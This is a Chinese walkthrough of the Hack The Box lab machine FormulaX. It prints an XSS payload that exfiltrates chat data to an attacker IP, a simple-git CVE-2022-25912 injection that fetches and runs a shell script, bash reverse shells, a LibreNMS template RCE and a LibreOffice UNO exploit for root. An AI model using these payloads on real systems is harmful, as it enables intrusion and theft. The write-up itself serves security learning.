htb_FormulaX(XSS)

在这里插入图片描述

信息收集

常规信息收集

nmap -sV -sC 10.10.11.6

开放22,80端口

gobuster dir -u http://10.10.11.6/ -w /usr/share/Seclists-master/Discovery/Web-Content/directory-list-2.3-medium.txt

一无所获

80端口-web

注册账户
在这里插入图片描述

Chat Now 和 Contact Us是重点

在这里插入图片描述

Chat Now

一个ai聊天页面

提醒我们使用help和history命令

在这里插入图片描述

抓包,发现该请求采用socket.io轮询方式

在这里插入图片描述

contact_us

一个表单,尝试xss注入,存在漏洞

在这里插入图片描述

这个听说可以扫出来,但我换了几个工具也没扫到,不知道为啥

chat页面的js文件

Client端:接受从服务端传来的message字段,向服务端发送client_message字段

在这里插入图片描述

仿照chat.js代码,编写payload利用xss漏洞在contact_us表单上尝试注入

xss.js

let value;const res = axios.get(`/user/api/chat`);const socket = io('/',{withCredentials: true});//listening for the messagessocket.on('message', (my_message) => { 
//console.log("Received From Server: " + my_message)  // Show_messages_on_screen_of_Server(my_message)     //将监听数据发送到本机监听端口上fetch("http://10.10.16.9:3333/?mes=" + btoa(my_message );}) const typing_chat_new = () => {  
//尝试向服务器发送'history'value = "history";//document.getElementById('user_message').value  if (value) {  // sending the messages to the server  socket.emit('client_message', value)  Show_messages_on_screen_of_Client(value);  // here we will do out socket things..  document.getElementById('user_message').value = "" } 
else { alert("Cannot send Empty Messages"); }} 

将xss.js文件放在攻击机上,开启http服务,表单上注入(表单过滤了<script>)

<img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.16.9:4444/xss.js';document.head.appendChild(script1);"/>

攻击机开启监听

python3 -m http.server 3333

接收到返回数据,进行base64解码

在这里插入图片描述

其中一句提醒我们有一个新的域名,加入/etc/hosts访问

dev-git-auto-update.chatbot.htb

在这里插入图片描述

发现版本号simple-git v3.14 ,存在cve漏洞

CVE-2022-25912

在这里插入图片描述

poc提示我们输入以下代码,可以使服务器下载payload并执行

ext::sh -c curl% http://10.10.16.9:3333/shell1.sh|bash >&2

shell1.sh

#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.9/1234 0>&1"

在这里插入图片描述

get shell

反弹shell执行,获得www-data权限

在这里插入图片描述

发现存在mongodb数据库

在这里插入图片描述

查看users表内容

show dbsuse testingshow collectionsdb.users.find()

发现两个用户信息,将密码复制下来放到john中解密

在这里插入图片描述

解密出来一个,是frank_dorky的密码frank_dorky:manchesterunited

在这里插入图片描述

开放了22端口,登录ssh,获得frank_dorky权限

sudo -l 无法使用

在这里插入图片描述

查看网络端口开放,开放了3000端口,上传chisel转发出来看看

在这里插入图片描述

chisel server -p 6150 --reverse
./chisellinux client 10.10.16.9:6150 R:3000:127.0.0.1:3000

本机访问127.0.0.1:3000,是一个libernms界面,搜索相关漏洞后,发现可以通过调用adduser.php添加管理用户

在这里插入图片描述

(这一段忘记截图了)

在frank_dorky用户下

cd /opt/librenms./adduser.php cc cc 10

添加成功后,利用账号密码cc:cc进行登录

若提示失败,则将域名(127.0.1 libernms.com)添加至/etc/hosts再访问(libernms.com:3000)

该网站有一个templates模块,添加一段反弹shell的php代码

https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms

@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.9/8888 0>&1'");
@endphp

反弹成功后,使用env命令查看环境变量,发现用户kai_relay凭据

kai_relay:mychemicalformulaX

在这里插入图片描述

提权

登录ssh,获得kai_relay权限

在这里插入图片描述

sudo -l 查看权限,发现该用户对于/user/bin/office.sh文件具有sudo权限

该脚本用于启动LiberOffice,开放2002端口接受远程调用

在这里插入图片描述

脚本链接

修改最后一句为反弹shell文件路径

#exploit.py
import uno
from com.sun.star.system import XSystemShellExecute
import argparseparser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)args = parser.parse_args()
# Define the UNO component
localContext = uno.getComponentContext()# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", localContext )# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve("uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("/tmp/sh1.sh", '',1)

cd /tmp 后,将exploit.py,sh1.sh上传,给sh1.sh添加执行权限

在这里插入图片描述

再另起一个ssh连接,先执行sudo office.sh,再执行exploit.py

sudo /usr/bin/office.sh
另起终端
python3 exploit.py --host localhost --port 2002

在这里插入图片描述

在这里插入图片描述

成功反弹root权限shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/15061.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

台湾省军事演习路径规划:A*算法在复杂地形中的应用

❤️❤️❤️ 欢迎来到我的博客。希望您能在这里找到既有价值又有趣的内容&#xff0c;和我一起探索、学习和成长。欢迎评论区畅所欲言、享受知识的乐趣&#xff01; 推荐&#xff1a;数据分析螺丝钉的首页 格物致知 终身学习 期待您的关注 导航&#xff1a; LeetCode解锁100…

【全开源】分类记账小程序系统源码(ThinkPHP+FastAdmin+UniApp)

基于ThinkPHPFastAdminUniAppvk-uView-uiVue3.0开发的一款支持多人协作的记账本小程序&#xff0c;可用于家庭&#xff0c;团队&#xff0c;组织以及个人的日常收支情况记录&#xff0c;支持周月年度统计。 &#xff1a;智能管理您的财务生活 一、引言&#xff1a;财务智能化…

代码的命名规则

单词简写 单词超长的可简写、代码内常见的可简写 方法 均小写&#xff0c;用下划线分割&#xff0c;文件名_动作_属性_子属性_子属性的子属性 例如&#xff1a;uart_open、uart_write、uart_read_remaining、uart_change_baudrate、uart_get_xxx、uart_is_xxx、uart_wait_do…

HTTP 错误 404.3 - Not Found 问题处理

问题描述 HTTP 错误 404.3 - Not Found 由于扩展配置问题而无法提供您请求的页面。如果该页面是脚本&#xff0c;请添加处理程序。如果应下载文件&#xff0c;请添加 MIME 映射。 解决对策

如何网页在线编辑 Office word 文档,并支域功能:创建域/插入域/替换域等

在日常在线办公场景中&#xff0c;我们经常会遇到一些复杂的文档编辑需求&#xff0c;特别是我们经常会遇到一些复杂的数学公式&#xff0c;会用到“域”功能&#xff0c;“域”功能便是一个高级且实用的工具。通过设置域&#xff0c;用户可以实现文档的自动化处理&#xff0c;…

【QT实战】汇总导航

✨Welcome 大家好&#xff0c;欢迎来到瑾芳玉洁的博客&#xff01; &#x1f611;励志开源分享诗和代码&#xff0c;三餐却无汤&#xff0c;顿顿都被噎。 &#x1f62d;有幸结识那个值得被认真、被珍惜、被捧在手掌心的女孩&#xff0c;不出意外被敷衍、被唾弃、被埋在了垃圾堆…

捕捉二氧化碳也能赚钱?深入探索CCUS技术与商业前景

引言 随着全球变暖和气候变化的加剧&#xff0c;如何有效减少二氧化碳&#xff08;CO2&#xff09;排放成为各国亟待解决的问题。近日&#xff0c;全球最大的二氧化碳捕集工厂在冰岛正式运营&#xff0c;这一消息引起了广泛关注。本文将深入探讨捕集二氧化碳技术&#xff08;C…

【负载均衡在线OJ项目日记】引入网络库和客户端用户路由功能

目录 引入cpp-httplib库 将编译与运行服务打包 代码 客户端用户路由功能 采用MVC结构进行设计 用户路由功能 路由功能代码 引入cpp-httplib库 对于后端编译与运行模块基本已经设计完成&#xff0c;最后用户是通过网络传递代码等信息&#xff1b;我们就要将这个模块引入…

跟TED演讲学英文:Bring on the learning revolution! by Sir Ken Robinson

Bring on the learning revolution! Link: https://www.ted.com/talks/sir_ken_robinson_bring_on_the_learning_revolution Speaker: Sir Ken Robinson Date: February 2010 文章目录 Bring on the learning revolution!IntroductionVocabularySummaryTranscriptAfterword I…

基于 BERT 对 IMDB 电影评论进行情感分类

前言 系列专栏:【深度学习&#xff1a;算法项目实战】✨︎ 涉及医疗健康、财经金融、商业零售、食品饮料、运动健身、交通运输、环境科学、社交媒体以及文本和图像处理等诸多领域&#xff0c;讨论了各种复杂的深度神经网络思想&#xff0c;如卷积神经网络、循环神经网络、生成对…

# AI产品经理的自我修养:既懂用户,更懂技术!

今天上班的时候&#xff0c;发现很多AI社群都在讨论一篇播客《一个顶级AI产品经理的自我修养&#xff0c;对谈光年之外产品负责人Hidecloud》&#xff0c;这篇播客的嘉宾是光年之外的产品负责人——Hidecloud&#xff08;张涛&#xff09;&#xff0c;聊了许多关于他在做AI产品…

MySQL多表关联查询习题

一、素材 -- Active: 1714203732007127.0.0.13306db_stu -- 1.创建student和score表 CREATE TABLE student ( id INT(10) NOT NULL UNIQUE PRIMARY KEY , name VARCHAR(20) NOT NULL , sex VARCHAR(4) , birth YEAR, department VARCHAR(20) , address VARCHAR(50) ); -- 创建…

Springboot中的微服务架构实践

Spring Boot中的微服务架构实践 在本文中&#xff0c;我们将分析微服务架构的关键概念及其在Spring Boot中的应用。然后&#xff0c;我们将演示如何构建微服务并将它们部署到云端或本地服务器。最后&#xff0c;我们将探索使用Spring Cloud和Netflix Eureka进行服务发现和配置…

Android遇到未处理的异常时干掉自己然后重新启动

Android遇到未处理的异常时干掉自己然后重新启动 安卓主线程遇到异常会死掉表现为直接闪退&#xff0c;如果只是添加了全局异常处理&#xff0c;主线程异常会表现为卡死此时则需要对活动进行重启处理* override fun onCreate(savedInstanceState: Bundle?) {super.onCreate(sa…

【机器学习】机器学习基础概念与初步探索

❀机器学习 &#x1f4d2;1. 引言&#x1f4d2;2. 机器学习概述&#x1f4d2;3. 机器学习基础概念&#x1f389;2.1 机器学习的分类&#x1f389;2.2 数据预处理&#x1f308;数据清洗与整合&#x1f308; 特征选择和特征工程&#x1f308;数据标准化与归一化 &#x1f4d2;4. …

c#从数据库读取数据到datagridview

从已有的数据库读取数据显示到winform的datagridview控件&#xff0c;具体代码如下&#xff1a; //判断有无表 if (sqliteConn.State ConnectionState.Closed) sqliteConn.Open(); SQLiteCommand mDbCmd sqliteConn.CreateCommand(); m…

精通Burpsuite:SQL注入测试的实验操作步骤详解

引言 在网络安全领域&#xff0c;SQL注入是一种常见的攻击手段&#xff0c;它允许攻击者通过注入恶意SQL代码来操纵后端数据库。Burpsuite作为一款领先的Web安全测试工具&#xff0c;提供了一系列的功能来帮助安全专家发现和防御这类漏洞。本文将详细介绍如何使用Burpsuite进行…

探数API统计分享-2017年-2021年中国各省人均消费支出统计

根据2017年至2021年的统计数据&#xff0c;我国各省&#xff08;市、区&#xff09;的人均消费支出情况各不相同。其中&#xff0c;上海的人均消费支出最高&#xff0c;达到了2021年的48879元&#xff0c;位居全国之首。紧随其后的是北京&#xff0c;人均消费支出为43640元。 …

类和对象(下篇)(未完结)!

文章目录 在谈构造函数1.构造函数体赋值2.初始化列表尽量使用初始化列表&#xff1f;初始化列表的初始化顺序&#xff1f;成员变量声明处的缺省值构造函数支持类型转换3.explicit关键字 static成员 在谈构造函数 1.构造函数体赋值 class Date{public:Date(int year, int mont…

其它高阶数据结构⑦_Skiplist跳表_概念+实现+对比

目录 1. Skiplist跳表的概念 2. Skiplist跳表的效率 3. Skiplist跳表的实现 3.1 力扣1206. 设计跳表 3.2 Skiplist的初始化和查找 3.3 Skiplist的增加和删除 3.4 Skiplist的源码和OJ测试 4. 跳表和平衡搜索树/哈希表的对比 本篇完。 1. Skiplist跳表的概念 skiplist是…